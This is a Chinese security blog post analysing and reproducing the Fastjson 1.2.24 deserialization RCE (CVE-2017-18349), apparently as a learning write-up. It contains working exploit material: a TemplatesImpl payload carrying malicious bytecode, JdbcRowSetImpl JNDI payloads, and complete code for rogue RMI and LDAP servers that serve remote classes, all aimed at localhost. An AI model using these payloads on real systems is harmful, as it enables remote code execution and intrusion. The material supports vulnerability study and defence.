Fastjson1.2.24(CVE-2017-18349)分析

news2024/9/22 3:49:48

前言

Fastjson在1.2.24版本之前存在两条利用链,分别是

  1. JNDI com.sun.rowset.JdbcRowSetImpl
  2. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
    我们本次也是对这两条链进行分析和过程复现
    在fastjson漏洞中,我们往往是寻找一个类,它的构造函数、 getter,setter 方法有问题,那么往往这个类就是我们要找的漏洞触发点了

环境搭建

1.jdk8u65 (低版本有jndi漏洞的)
2.fastjson 1.2.24

先在pom.xml中写入实验需要的环境
unboundid-ldapsdk(等会ldap需要)
commons-io(数据流操作需要)
fastjson (漏洞触发环境)
commons-codec(加密需要)

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>4.0.9</version>
</dependency>
<dependency>
    <groupId>commons-io</groupId>
    <artifactId>commons-io</artifactId>
    <version>2.5</version>
</dependency>
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>
<dependency>
    <groupId>commons-codec</groupId>
    <artifactId>commons-codec</artifactId>
    <version>1.12</version>
</dependency>

1.TemplatesImpl分析

在之前的CC链分析中,有一个漏洞点是位于TemplatesImpl加载字节码,然后调用了newInstance()方法进行实例化执行命令,而这个方法就是一个getter方法
在这里插入图片描述

我们想要顺利执行到newInstance()方法实例化执行命令需要满足中间的程序判定,让它顺利的执行到目标点
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  1. _name为String类型,不能为null
  2. _class为Class类型的数据,必须为null 默认也是null,不用处理
  3. _bytecodes为字节类型的二维数组,不能为null
  4. _tfactory为一个 TransformerFactoryImpl 类型不可序列化的transient的对象,并且初始化为 null,不能为空,他还需要执行方法
  5. _auxClasses不为null,需要让payload继承 ABSTRACT_TRANSLET 这个父类
    所以我们使用以下代码
String text1 = "{\"@type\":\"" + NASTY_CLASS +
        "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'admin','_tfactory':{ },"

虽然fastjson会自动调用目标的所有getter和setter方法,但是只会调用满足条件的getter和setter方法

满足条件的setter:

  • 非静态函数
  • 方法名长度大于4
  • 方法名以set开头
  • 返回类型为void或当前类
  • 参数个数为1个

满足条件的getter:

  • 非静态方法
  • 方法名长度大于等于4
  • 以get开头且第4个字母为大写
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

而我们的getTransletInstance()方法返回的是一个translet实例
在这里插入图片描述
我们寻找谁调用了getTransletInstance()方法,但是它不是getter方法,我们继续寻找
在这里插入图片描述
我们可以看到有一个getter方法,我们看它是否满足fastjson的调用条件,可以看到是满足的,它最后返回的Properties继承的是Map
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
所以当前的路线为:

getOutputProperties()  ---> newTransformer() ---> TransformerImpl

2.TemplatesImpl复现

所以我们构造poc要加上_outputProperties,使其能够触发getOutputProperties()方法

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc  extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e){
            e.printStackTrace();
        }
    }
//
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}
package org.fastjson;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;


public class fstjson124 {
    public static void main(String args[]) {
        try{
            final String evilClassPath = "D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class";
            String evilCode = readClass(evilClassPath);
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            String text1 = "{\"@type\":\"" + NASTY_CLASS +
                    "\",'_bytecodes':['"+evilCode+"'],'_name':'admin','_tfactory':{ },'_outputProperties':{ },";
            System.out.println(text1);
            Object obj = JSON.parseObject(text1, Object.class,  Feature.SupportNonPublicField);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
    }
}

需要注意的是,在fastjson当中,双引号和单引号是有区别的,注意区分,而且想让传给JSON.parseObject()进行反序列化的JSON内容指向的对象类中的私有变量成功还原出来,则需要在调用JSON.parseObject()时加上Feature.SupportNonPublicField这个属性设置
在这里插入图片描述

3. JdbcRowSetImpl 分析及复现

这条链的漏洞主要存在于JdbcRowSetImpl#setAutoCommit和JdbcRowSetImpl#setDataSourceName
我们查看JdbcRowSetImpl#setAutoCommit方法

在这里插入图片描述
在this.conn为空的情况下,会进入connect()方法
并且在this.getDataSourceName() != null的情况下,进行了一次JNDI的调用
在这里插入图片描述
而这个值是怎么来的呢,这个值可以在JdbcRowSetImpl#setDataSourceName中由我们控制赋予
在这里插入图片描述
它会调用父类,然后设置dataSource的值
在这里插入图片描述
而在上面的调用this.getDataSourceName(),调用的就是dataSource的值
在这里插入图片描述
我们也可以看到这两个方法JdbcRowSetImpl#setAutoCommit和JdbcRowSetImpl#setDataSourceName都是符合fastjson的setter规则的
所以我们构建payload

{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true
}

3.1 JNDI+RMI

我们先写一个测试的类

import java.io.IOException;

public class Calc {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e){
            e.printStackTrace();
        }
    }
//
}

然后使用python启动一个http服务在这里插入图片描述
启动RMI

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class ldap {
        public static void main(String[] args) {
            try {
                // RMI部分
                Registry registry = LocateRegistry.createRegistry(1099);
                InitialContext initialContextRMI = new InitialContext();
                Reference referenceRMI = new Reference("Calc", "Calc", "http://127.0.0.1:8000/");
                initialContextRMI.rebind("rmi://127.0.0.1:1099/remoteObj", referenceRMI);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

然后运行我们的Payload

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class fastjson_124_jndi {
    public static void main(String args[]) {
     try{

            String text1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/remoteObj\",\"autoCommit\":true}";
            System.out.println(text1);
            Object obj = JSON.parseObject(text1, Object.class,  Feature.SupportNonPublicField);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

在这里插入图片描述

3.2 JNDI+ldap

我们代码启动一个ldap

package org.example;

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;


// jndi 绕过 jdk8u191 之前的攻击
public class JNDILdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main (String[] args) {
        String url = "http://127.0.0.1:8000/#Calc";
        int port = 1099;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        /**
         * */ public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        /**
         * {@inheritDoc}
         * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */ @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}



在这里插入图片描述
启动http服务,上面有我们的测试类
在这里插入图片描述
启动Payload


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class fastjson_124_jndi {
    public static void main(String args[]) {
     try{

            String text1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1099/Exploit\",\"autoCommit\":true}";
            System.out.println(text1);
            Object obj = JSON.parseObject(text1);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3.3 工具启动

我们直接使用工具启动一个ldap
在这里插入图片描述
将payload中的地址进行替换

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class fastjson_124_jndi {
    public static void main(String args[]) {
     try{

            String text1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:80/Object\",\"autoCommit\":true}";
            System.out.println(text1);
            Object obj = JSON.parseObject(text1);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

在这里插入图片描述
我们可以看到记录已经访问到
在这里插入图片描述

4.总结

我们一共分析了两种fastjson1.2.4利用的方式,第一种TemplatesImpl涉及到私有变量,所以需要代码种包括Feature.SupportNonPublicField,这一点限制比较大
所以在平常的测试种,我们往往使用第二种方式来进行测试fastjson漏洞,不过要区分jdk版本来使用不同的绕过方式

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2101783.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【苍穹外卖】Day 5 Redis、店铺营业状态接口

1 基本介绍 Redis是一个基于 内存 的 key-value 结构数据库 基于内存存储&#xff0c;读写性能高适合存储热点数据(热点商品、资讯、新闻)企业应用广泛 运行 在cmd下 redis-server.exe redis.windows.conf 启动状态下&#xff0c;再 redis-cli.exe 测试&#xff1a; 也可以…

Win32远线程注入

远线程注入 远线程(RemoteThread)注入是指一个进程在另一个进程中创建线程的技术&#xff0c;这是一种很经典的DLL注入技术。 虽然比较古老&#xff0c;但是很实用。通过远线程注入&#xff0c;再配合api函数的hook技术&#xff0c;可以实现很多有意思的功能。 实现远线程注入…

自己封装栈和队列

队列 #include <iostream>using namespace std; class queue { private:int *data;int size;int front;int tail;public://无参构造queue():size(20){datanew int [size];front0;tail0;}//有参构造queue(int s){datanew int [size];sizes;front0;tail0;}~queue(){delete …

MySQL三大日志详解

binlog相关 bin log是什么?作用是什么呢? 答: bin log实际上是一个物理日志,当我们对某个数据页进行修改操作时我们就会将这个操作写到bin log中,当我们数据库需要进行主备、主从复制等操作时,都可以基于bin log保证数据一致性。 那bin log缓冲区了解嘛? 答: 如下图…

硬件产品经理进阶:产品层次划分的3个方法

目录 1、内容简介 2、产品三层次概念 3、产品四层次概念 4、产品五层次概念 作者简介 1、内容简介 产品本身指的是能够满足需求和欲望的一种媒介物。 可以是实体、也可以是虚拟的服务。 在产品竞争白热化的今天&#xff0c; 如果只是考虑把产品做出来、 仅仅在实际产…

【微信小程序入门】3、微信小程序开发基础及微信开发者工具的使用

✅作者简介&#xff1a;2022年博客新星 第八。热爱国学的Java后端开发者&#xff0c;修心和技术同步精进。 &#x1f34e;个人主页&#xff1a;Java Fans的博客 &#x1f34a;个人信条&#xff1a;不迁怒&#xff0c;不贰过。小知识&#xff0c;大智慧。 &#x1f49e;当前专栏…

vue2———组件

一个简单的组件 组件进行注册并使用 结果&#xff1a; 在进行对组件的学习时遇见一些问题&#xff1a; 1、组件的命名 解决方法&#xff1a; 组件的命名 Vue.js 组件的命名遵循一些最佳实践&#xff0c;这些实践有助于保持代码的清晰和一致性。 多单词命名&#xff1a;Vue 官…

【网络安全】Collabora在线存储型XSS(CVE-2024-29182)+代码审计

未经许可,不得转载。 文章目录 前言正文代码审计前言 Collabora 是一家专注于开源软件的公司,主要提供与文档协作、办公套件和企业解决方案相关的服务。 Collabora 提供了 Collabora Online,这是一个基于 Web 的在线办公套件,允许用户在浏览器中实时编辑文档。这种服务特…

Two to One——C语言提高题【7 kyu】

一、原题 链接&#xff1a;Training on Two to One | Codewars Take 2 strings s1 and s2 including only letters from a to z. Return a new sorted string (alphabetical ascending), the longest possible, containing distinct letters - each taken only once - coming…

继承:复杂的菱形继承与虚继承

目录 前言 复杂的菱形继承及菱形虚拟继承 继承方式 virtual关键字 虚拟继承的原理 原理&#xff1a; 额外消耗&#xff1a; 构造顺序为什么是ABCD 不允许使用间接非虚拟基类原理 假设只有A B 为什么virtual加在B C中而不是D中&#xff1f; 如何实现一个不能被继承的类…

AtCoder ABC 359 F 题解

本题要看出性质并进行验证&#xff0c;程序难度低。&#xff08;官方 Editorial 似乎没有写证明过程&#xff1f;难道是过于显而易见了吗…&#xff09; 题意 给你一个数组 a a a&#xff0c;对于一棵 n n n 个节点的树 T T T&#xff0c; d i d_i di​ 为每个节点的度&am…

基于Java+SpringBoot+Vue的校园社团信息管理

基于JavaSpringBootVue的校园社团信息管理 前言 ✌全网粉丝20W,csdn特邀作者、博客专家、CSDN[新星计划]导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;&公&粽&号 查找《智能编…

C++ 栈和队列的简单封装(9.3)

1.栈的封装 代码 #include <iostream>using namespace std;typedef int datatype; class Stack { private:datatype *data;int max_size; //栈的大小int the_top; //栈顶 public:Stack(){data new int[50];max_size 50;the_top -1;}Stack(int a){data n…

一个好用的Maven依赖冲突解决插件:Maven Helper

在项目开发&#xff0c;或项目Maven需要新增依赖、项目依赖组件升级时&#xff0c;经常会出现添加后&#xff0c;因为各个模块中有相同的依赖、不同的版本而导致依赖冲突&#xff0c;从而导致项目启动不起来&#xff0c;这种冲突非常恶心&#xff0c;因为是传递依赖所以会看不出…

【数据推荐】我国省市县三级的人口受教育状况数据(分年龄\性别\户籍)

人口数据是我们在各项研究中都经常使用的数据。之前我们为大家分享过基于《2020中国人口普查分县资料》整理的全国范围的第七次人口普查人口数据&#xff0c;具体包括如下8个分表&#xff08;均可查看之前的文章获悉详情&#xff09;&#xff1a; 表1&#xff1a;我国省市县三…

大二暑假去龙旗科技(上海)做了两个月软件测试实习生,讲讲我的经历和感受

目录 1.为什么选择软件测试 2.入职&#xff0c;辞职流程以及实习工作内容 3.行业选择和个人感悟 新的学期开始了兄弟们&#xff0c;我也已经断更几个月了&#xff0c;这几个月我并没有摆烂&#xff0c;我选择了备考蓝桥杯&#xff0c;复习期末&#xff0c;暑假出去实习。结果…

SpringDataJPA系列(5)@Query应该怎么用?

SpringDataJPA系列(5)Query应该怎么用&#xff1f; 之前说到过&#xff0c;DMQ查询策略有两种&#xff1a;方法命令和Query注解的方式。为什么需要两种呢&#xff1f;它们分别适用的场景是怎么样的&#xff1f; Query使用 定义一个通过名字查询用户的方法 以下是测试方法&…

将泛型和函数式编程结合,竟然会让代码这么优雅!

但这种方式却太表象了&#xff0c;没有灵魂和深度&#xff0c;过去的那些日子&#xff0c;我感觉自己的编程水平也就限于把重复的代码抽一抽&#xff0c;&#xff08;如下图所示一样&#xff09;&#xff0c;甚至觉得代码优化不就是这样吗&#xff0c;这样的状态一直维持很久。…

Linux多线程——利用C++模板对pthread线程库封装

文章目录 线程封装主要框架线程启动线程等待其他信息 测试函数 线程封装 我们之前介绍过pthread的线程库&#xff0c;这个线程库主要是基于C语言的void*指针来进行传参和返回 我们使用C的模板对其封装可以让他的使用更加方便&#xff0c;并且经过测试可以让我们更加直观的了解…

DPDK基础入门(二):Cache与大页优化

Cache简介 目前Cache主要由三级组成: L1 Cache, L2 Cache和Last Level Cache(LLC)。 L1最快&#xff0c;但容量小&#xff0c;可能只有几十KB。LLC慢&#xff0c;但容量大&#xff0c;可能多达几十MB。 L1和L2 Cache一般集成在CPU内部。另外,&#xff0c;L1和L2 Cache是每个处…